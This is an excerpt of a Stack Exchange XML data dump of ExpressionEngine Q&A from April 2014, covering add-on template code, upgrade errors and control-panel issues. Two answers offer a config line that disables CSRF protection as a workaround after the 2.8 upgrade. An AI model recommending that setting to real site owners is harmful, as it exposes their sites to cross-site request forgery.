  <row Id="21161" PostTypeId="2" ParentId="21150" CreationDate="2014-04-11T14:55:48.900" Score="1" Body="&lt;p&gt;I ran into trouble with streeng as well on doing just a find in a conditional, but it worked well with find+replace (ee 2.8.1), maybe hit up the &lt;a href=&quot;https://github.com/caddis/streeng&quot; rel=&quot;nofollow&quot;&gt;developer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For phpstringfun, in the example you put up you're doing a search for string position that's case sensitive. Try &lt;a href=&quot;http://www.php.net/manual/en/function.strripos.php&quot; rel=&quot;nofollow&quot;&gt;strripos&lt;/a&gt; and it should work with your example:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;strripos&quot; par1=&quot;videos&quot;}Videos/blah/blah{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for an add-on with more documentation try &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-04-11T16:43:21.690" LastActivityDate="2014-04-11T16:43:21.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21162" PostTypeId="2" ParentId="21123" CreationDate="2014-04-11T14:55:49.923" Score="1" Body="&lt;p&gt;Found what was causing issue - custom status of selected entries in the Playa field. Those color dots near entries titles there are representing statuses (green - open, red - close, other colors - custom statuses). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case I have included custom statuses to the Playa tag.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-11T14:55:49.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21163" PostTypeId="1" AcceptedAnswerId="21175" CreationDate="2014-04-11T15:25:07.193" Score="0" ViewCount="27" Body="&lt;p&gt;When viewing a profile (member_id in segment_3), can I show all the friends of this person? I seem not to be able to find it in the docs.&#xA;Thanks a lot for clearing this up for me.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="422" LastEditDate="2014-04-12T14:56:15.887" LastActivityDate="2014-04-12T15:08:03.483" Title="Solspace Friends: Is there a way to show a list of all friends of certain member?" Tags="|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21164" PostTypeId="2" ParentId="20686" CreationDate="2014-04-11T15:59:40.613" Score="6" Body="&lt;p&gt;I would recommend against editing the config file. Instead, it appears you need to include the following line in any  that is posting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had the exact same issue when updating from 2.5.2 to 2.8.1. I added that line and all is good. A few simple AJAX POSTs I converted to GETs to also get around this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this solution on this thread: &lt;a href=&quot;http://ellislab.com/forums/viewthread/237658/&quot;&gt;http://ellislab.com/forums/viewthread/237658/&lt;/a&gt;&#xA;&lt;hr&gt;&#xA;btw, just found more info. Security changed some more in 2.8 v 2.7. So if you want to disable &quot;secure forms&quot; you'll need to use this in config.php instead of what is posted elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;http://ellislab.com/blog/entry/sessions-login-modals-and-secure-forms-in-expressionengine-2.8&quot;&gt;http://ellislab.com/blog/entry/sessions-login-modals-and-secure-forms-in-expressionengine-2.8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2965" LastEditorUserId="2965" LastEditDate="2014-04-11T16:49:26.207" LastActivityDate="2014-04-11T16:49:26.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21165" PostTypeId="1" AcceptedAnswerId="21226" CreationDate="2014-04-11T16:01:38.900" Score="1" ViewCount="217" Body="&lt;p&gt;I am using Cartthrob and am trying to figure out how to create a discount system. The goal is to create discounts for only certain products and set an automatic expiration date for the discounts. Where the product is displayed on the website (before adding to the cart), I would like to display the discount information such as the amount off, discounted price, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding an expiring discount is easy with Cartthrob’s ‘Amount off Product’ discount type (where the discount applies to only specific entry IDs), however, there does not seem to be a way to show the discount information on a product page before adding the product to the cart. In the &lt;code&gt;exp:channel:entries&lt;/code&gt; loop, trying to display discount information (amount off, discounted priced, etc.) using the tags described &lt;a href=&quot;https://cartthrob.com/docs/tags_detail/discount_info/index.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; results in unparsed tags. Once the product has been added to the cart those tags work. The documentation appears to confirm this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone using Cartthrob found a way around this limitation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE v2.5.3 and Cartthrob v2.2.9.&lt;/p&gt;&#xA;" OwnerDisplayName="user2736" LastEditorDisplayName="user2736" LastEditDate="2014-04-11T21:25:38.417" LastActivityDate="2014-04-15T22:46:26.553" Title="Cartthrob show discount before adding to cart?" Tags="|cartthrob|shopping-cart|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21166" PostTypeId="2" ParentId="12021" CreationDate="2014-04-11T16:51:34.087" Score="6" Body="&lt;p&gt;As of 2.8 it's changed slightly... So if you want to disable &quot;secure forms&quot; you'll need to use this in config.php instead of what is posted elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;http://ellislab.com/blog/entry/sessions-login-modals-and-secure-forms-in-expressionengine-2.8&quot;&gt;http://ellislab.com/blog/entry/sessions-login-modals-and-secure-forms-in-expressionengine-2.8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2965" LastActivityDate="2014-04-11T16:51:34.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21168" PostTypeId="2" ParentId="21149" CreationDate="2014-04-11T20:44:03.907" Score="2" Body="&lt;p&gt;I've been getting the same &quot;Undefined variable: category_name&quot; since I upgraded to 2.8.1. It only shows up when I'm using Super Search which I figured was needing to be updated to support EE 2.8.1. Super Search ver 2.1.4 was released on April 8 and the error persists after upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully, the error only shows when logged in which the client and visitors shouldn't see. When are you specifically seeing this error show? Are you using Super Search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using the variable &quot;category_name&quot; anywhere in my templates. I'm embedding a header and footer into the results template and removing each embed will lower the amount of errors it shows so it's depending on how many templates are used to render the page and 'category_name' is not used on any of those templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Super Search as well, then I plan to send a request to them (since v2.1.4 didn't fix it), but if it's completely unrelated then the bug should be reported to EE.&lt;/p&gt;&#xA;" OwnerUserId="1303" LastActivityDate="2014-04-11T20:44:03.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21169" PostTypeId="1" CreationDate="2014-04-11T21:19:05.547" Score="0" ViewCount="68" Body="&lt;p&gt;v2.8.1&#xA;Build Date: 20140314&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having an issue where the header and footer HTML doesn't load randomly. Sometimes it does, sometimes it doesn't. This happens randomly when navigating the CP control panel. It happens more often when submitting or updating a category under Admin &gt; Categories &gt; Create a New Category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I create a new category and hit the submit button.&#xA;The next page returns a response of 200 text/html that looks like this and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL looks this: &lt;a href=&quot;http://mysite.com/myadmin.php?/cp/admin_content/category_update?S=dbcc62fcecfde00324b7db8e87cef88b&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/myadmin.php?/cp/admin_content/category_update?S=dbcc62fcecfde00324b7db8e87cef88b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&quot;message_success&quot;:&quot;Preference Updated&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens about 80% time. Sometimes it doesn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is hosted on the Media Temple GS. The system folder is above web root. I never remember seeing a question mark after the admin PHP file followed by a slash. My guess is that the CP urls have changed recently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas on what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: This has been fixed. FastCGI enabled on Media Temple's GS was causing this. Switch FastCGI to just CGI. Thanks Alex.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-04-14T15:13:12.863" LastActivityDate="2014-04-14T15:13:12.863" Title="No Head or Footer HTML Loading in CP - v2.8.1" Tags="|ee2|control-panel|2.8|" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-30T01:33:57.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="21170" PostTypeId="2" ParentId="21139" CreationDate="2014-04-11T21:22:20.907" Score="0" Body="&lt;p&gt;I had a very similar issue, and it seemed to amount to the &lt;code&gt;{exp:search:search_results}&lt;/code&gt; tag being inside a Stash tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I flipped it inside out and used &lt;code&gt;{exp:stash:append}&lt;/code&gt;(or append_list in your case) inside of the search_results tag.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-11T21:22:20.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21171" PostTypeId="2" ParentId="21123" CreationDate="2014-04-12T05:40:48.197" Score="1" Body="&lt;p&gt;If you have custom statuses, and you want to show everything, it will help you to get into the habit of using status=&quot;not closed&quot;. You could even create a global variable for the default status parameter to use.&lt;/p&gt;&#xA;" OwnerUserId="2953" LastActivityDate="2014-04-12T05:40:48.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21172" PostTypeId="2" ParentId="21169" CreationDate="2014-04-12T08:32:09.263" Score="1" Body="&lt;p&gt;This most likely means that one or several of the files in themes folder is not uploaded correctly. Re-upload themes folder and make sure the path and URL for themes folder are correct in EE preferences.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-12T08:32:09.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21173" PostTypeId="2" ParentId="20827" CreationDate="2014-04-12T14:46:17.150" Score="2" Body="&lt;p&gt;When I've come across similar issues it's been down to the contents of config.php. Check what &lt;code&gt;$config['app_version'] = '';&lt;/code&gt; is set to. It should match the version of EE that is currently installed when you run the installer (2.5.2 in your case). When it's been set to a different version (sometimes because the config files has been copied across from another installation when setting things up on the new site) I've seen the errors you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately they've not been easy to fix once you start getting into that situation as the installer and the current installation start getting confused. In those cases I've found it easier to restore from a backup, double check the settings, and then proceed with the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there should be any particular problem with the upgrade proceedure from 2.5.2 to 2.8.1 however.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-12T14:46:17.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21174" PostTypeId="1" CreationDate="2014-04-12T15:06:27.137" Score="2" ViewCount="823" Body="&lt;p&gt;Does someone already used the AngularJS routing inside EE templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside common html template the AngularJS routing is working fine, but inside EE templates the routing is not working. What could be the problem?? An .htaccess setting??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2015-04-29T08:05:16.407" Title="ExpressionEngine and AngularJS routing" Tags="|routing|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21175" PostTypeId="2" ParentId="21163" CreationDate="2014-04-12T15:08:03.483" Score="0" Body="&lt;p&gt;The &lt;code&gt;{exp:friends:mine}&lt;/code&gt; tag is what you need and you can use &lt;code&gt;member_id&lt;/code&gt; as a parameter. The &lt;a href=&quot;http://www.solspace.com/docs/friends/mine/#member_id&quot; rel=&quot;nofollow&quot;&gt;member_id parameter&lt;/a&gt; allows you to pass in a segment variable among other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Friends:Mine function itself allows you to display a list of their friends so you just need to output whatever information you need within this tag pair.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-12T15:08:03.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21176" PostTypeId="2" ParentId="20272" CreationDate="2014-04-12T18:43:54.817" Score="1" Body="&lt;p&gt;I'm not exactly sure on the full context but the problem could very well be the quotation marks around the 0. If you're comparing against a number then you don't need quotation marks as that will convert it to a string and will never match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:playa:total_parents channel='listing'} &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work then you can probably simplify things a bit as the Playa loop—as with the Channel:Entries loop—will by default output nothing if there are no matches made. Using this as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Parent (The channel with the Playa field) --}&#xA;{exp:channel:entries channel=&quot;news&quot;}&#xA;    &amp;lt;h3&amp;gt;Article Media&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:playa:children field=&quot;article_photos&quot;}&#xA;&#xA;            {if count == 0}&#xA;                {!-- Show substitute content --}&#xA;            {/if}&#xA;&#xA;            {!-- Otherwise show the child entries --}&#xA;            {!-- Default behaviour: Nothing shown if nothing matched --}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        {/exp:playa:children}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you should be able to use the regular &lt;code&gt;count&lt;/code&gt; tag to check for the existence of any child entries (related articles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an alternative way to check for any child entries then you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{playa_parent:total_children}&quot; &amp;gt; 0}&#xA;  ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;playa_parent&lt;/code&gt; is the name of your Playa field.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-12T18:43:54.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21177" PostTypeId="1" AcceptedAnswerId="21241" CreationDate="2014-04-12T19:29:55.970" Score="2" ViewCount="450" Body="&lt;p&gt;I'm trying to set up a template that will group related entries by category, and display the category name and description for the first entry of each category set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this page will display an entry for a restaurant menu. The title and description for the menu are part of a single channel entry, followed by the items on the menu, which are all related entries from a products channel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;h1&gt;Menu Title&lt;/h1&gt; &lt;p&gt;Menu Description&lt;/p&gt; &lt;h2&gt;Appetizers&lt;/h2&gt;&#xA;  &lt;h3&gt;Item 1&lt;/h3&gt; &lt;h3&gt;Item 2&lt;/h3&gt; &lt;h3&gt;Item 3&lt;/h3&gt; &lt;h2&gt;Salads&lt;/h2&gt;&#xA;  &lt;h3&gt;Item 1&lt;/h3&gt; &lt;h3&gt;Item 2&lt;/h3&gt; &lt;h3&gt;Item 3&lt;/h3&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my template code is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;menus&quot;}&#xA;     &amp;lt;h1&amp;gt;{menu_title}&amp;lt;/h1&amp;gt;&#xA;     {menu_description}&#xA;     {menu_items}&#xA;          Here's where I get stuck.&#xA;     {/menu_items}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can readily display the category info with the categories tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{menu_items:categories}&#xA;     {category_name}&#xA;{/menu_items:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I can't seem to do is group them together, identify the first item etc.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{menu_items:categories}&#xA;     {if count == 1}&amp;lt;h2&amp;gt;{category_name}&amp;lt;/h3&amp;gt;{/if}&#xA;     &amp;lt;h3&amp;gt;{menu_items:product_name}&amp;lt;/h3&amp;gt;&#xA;{/menu_items:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried several variations of the category_archive tag, as well as the &lt;a href=&quot;http://rog.ee/category_sorted_entries&quot; rel=&quot;nofollow&quot;&gt;Category Sorted Entries&lt;/a&gt; plugin, but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to back into it, by starting with the categories first, but it all get very convoluted, very quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like there has to be a more direct approach to sorting related records. Am I wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ty&lt;/p&gt;&#xA;" OwnerUserId="897" LastEditorUserId="897" LastEditDate="2014-04-12T19:35:02.703" LastActivityDate="2014-04-16T17:45:38.997" Title="Grouping Related Entries by Category" Tags="|relationships|categories|related-entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21178" PostTypeId="2" ParentId="18931" CreationDate="2014-04-12T23:41:44.933" Score="0" Body="&lt;p&gt;We never were able to figure out what wasn't right. We eventually had to remove Chrome and re-install it. Since then it is working. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-04-12T23:41:44.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21179" PostTypeId="2" ParentId="21177" CreationDate="2014-04-13T05:34:30.800" Score="0" Body="&lt;p&gt;I would look at using Playa's &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;var_prefix parameter&lt;/a&gt; to avoid conflicts between your Playa variables and the outer tag pair. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential issue I can see is that Playa &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;sets the disable tag parameter to “categories|category_fields|member_data|pagination” by default&lt;/a&gt;, and you need to use the disable parameter to specify a smaller list of features to disable if you would like {categories} to be available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give this a try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;menus&quot;}&#xA;     &amp;lt;h1&amp;gt;{menu_title}&amp;lt;/h1&amp;gt;&#xA;     {menu_description}&#xA;     {menu_items var_prefix=&quot;m&quot; disable=&quot;member_data|pagination&quot;}&#xA;        {if &quot;{m:count}&quot; ==&quot;1&quot;}&#xA;        {m:categories limit=&quot;1&quot;}&amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;{/m:categories}&#xA;        {/if}&#xA;        &amp;lt;h3&amp;gt;{m:product_name}&amp;lt;/h3&amp;gt;&#xA;     {/menu_items}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2953" LastActivityDate="2014-04-13T05:34:30.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21180" PostTypeId="2" ParentId="21101" CreationDate="2014-04-13T08:11:52.137" Score="1" Body="&lt;p&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt; has the following tags that could be used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{event_&lt;strong&gt;start&lt;/strong&gt;_date}, which displays the occurrence's start date.&lt;/li&gt;&#xA;&lt;li&gt;{event_&lt;strong&gt;first&lt;/strong&gt;_date}, which displays the date of the event entry's &lt;strong&gt;first&lt;/strong&gt; occurrence.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, if you have an event that starts and ends on April 11th, and repeats daily until April 17th, {event_first_date} will be April 11, but {event_start_date} will display the start date of each looping occurrence (April 11, 12, 13, 14, 15, 16, 17).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your situation you need to check if {event_first_date} isn't &lt;em&gt;before&lt;/em&gt; the first day of your {exp:calendar:cal} timeframe. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;     date_range_start=&quot;2014-04-11&quot; &#xA;     date_range_end=&quot;2014-04-17&quot; &#xA;     pad_short_weeks=&quot;n&quot;}&#xA;  {display_each_day}&#xA;    {events}&#xA;       {if '{event_first_date format=&quot;%Y-%m-%d&quot;}' &amp;gt;= '2014-04-11'}&#xA;           // Show occurrence data&#xA;       {/if}&#xA;    {/events}&#xA;  {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only display the occurrence if the event's &lt;strong&gt;first&lt;/strong&gt; occurrence is on or after 2014-04-11. (You can tweak the conditional to check for {event_&lt;strong&gt;last&lt;/strong&gt;_date} and the last day of your range as well if needed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might now think: &quot;&lt;em&gt;Great! But how to make the &quot;2014-04-11&quot; part dynamic?&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by using the &lt;code&gt;{exp:calendar:date}&lt;/code&gt; tag: &lt;a href=&quot;http://www.solspace.com/docs/calendar/date/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/date/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:date base_date=&quot;today&quot; output_date=&quot;today&quot;}{date format=&quot;%Y-%m-%d&quot;}{/exp:calendar:date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would turn the {exp:calendar:cal} above to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;     date_range_start=&quot;today&quot; &#xA;     date_range_end=&quot;+7 days&quot; &#xA;     pad_short_weeks=&quot;n&quot;}&#xA;  {display_each_day}&#xA;    {events}&#xA;       {if '{event_first_date format=&quot;%Y-%m-%d&quot;}' &amp;gt;= '{exp:calendar:date base_date=&quot;today&quot; output_date=&quot;today&quot;}{date format=&quot;%Y-%m-%d&quot;}{/exp:calendar:date}'}&#xA;           // Show occurrence data&#xA;       {/if}&#xA;    {/events}&#xA;  {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-13T08:11:52.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21181" PostTypeId="1" CreationDate="2014-04-13T17:18:06.230" Score="1" ViewCount="64" Body="&lt;p&gt;I want the images in my entries look like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;a data-footer=&quot;xy&quot; data-title=&quot;xy&quot; data-toggle=&quot;lightbox&quot; href=&quot;img.jpg&quot; title=&quot;xy&quot;&amp;gt;&#xA;  &amp;lt;img class=&quot;img-responsive&quot; alt=&quot;xy&quot; src=&quot;/path/img.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Right now I am using Wygwam as WYSIWYG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer any solution where the metadata of the image is stored separately. Perhaps there is a plugin to handle this?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any idea, thanks!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-13T17:18:06.230" Title="Best practices: Images in entries with custom HTML5-attributes" Tags="|wygwam|image|metadata|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21182" PostTypeId="1" AcceptedAnswerId="21191" CreationDate="2014-04-13T17:56:38.587" Score="2" ViewCount="200" Body="&lt;p&gt;Hi Low (or anybody else),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a similar problem to &lt;a href=&quot;http://devot-ee.com/add-ons/support/low-seg2cat/viewthread/4851&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; in the old devot-ee-support-forums. When I use Seg2Cat-tags they produce nothing (means: empty output). Template-Debugging returns a lot of pipes in the Snippet-Values (&quot;||||&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mentioned thread Low wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First of all, check if the correct category groups are selected in the extension settings. If the category in the URI belongs to a non-selected category group, then the empty string is correct output.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The category group is selected, the category exists.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or else, enable the output profiler and look up the SQL query performed by Seg2Cat, which should look something like “SELECT LOWER(cat_url_title) AS cat_url_title…”. Then run that query in the SQL manager. If there are results in the SQL manager, but not from the extension itself, then there’s a conflicting extension somewhere, probably. Check which extension use the sessions_end hook as well and try to disable them to see of that helps.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I used the SQL-query, I think it's this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `cat_url_title`, `cat_id`, `parent_id`, `group_id`, `cat_name`, `cat_description`, `cat_image`&#xA;FROM (`exp_categories`)&#xA;WHERE `site_id` =  '1'&#xA;AND `cat_url_title` IN ('schule', 'lowseg2cattesttrash', 'deutschunterricht') &#xA;AND `group_id` IN ('1')  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get one result (the correct category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is if there is any help for me identifying the problematic plugin. I have a lot of plugins installed, mostly commercials which I need (Assets, CE Tweet, FireMail, LowSearch, Rating, Playa, Threaded Comments, Wygwam ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help very much, because it would be a useful delight for me to use Seg2Cat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-14T09:25:15.657" Title="Low Seg2Cat not working (empty output)" Tags="|low-seg2cat|low|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21184" PostTypeId="1" AcceptedAnswerId="21185" CreationDate="2014-04-13T21:38:49.837" Score="1" ViewCount="216" Body="&lt;p&gt;Using Expresso I want to insert an image from a sub-folder of the upload directory. But the file manager doesn't display the subfolders, even after to synchronize the files. I tried many settings with no results&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-14T00:06:51.583" Title="file manager doesn't display subfolder" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21185" PostTypeId="2" ParentId="21184" CreationDate="2014-04-14T00:06:51.583" Score="2" Body="&lt;p&gt;The default file manager does not allow for browsing of subdirectories. You would need to use something like Assets ( &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/assets&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-14T00:06:51.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
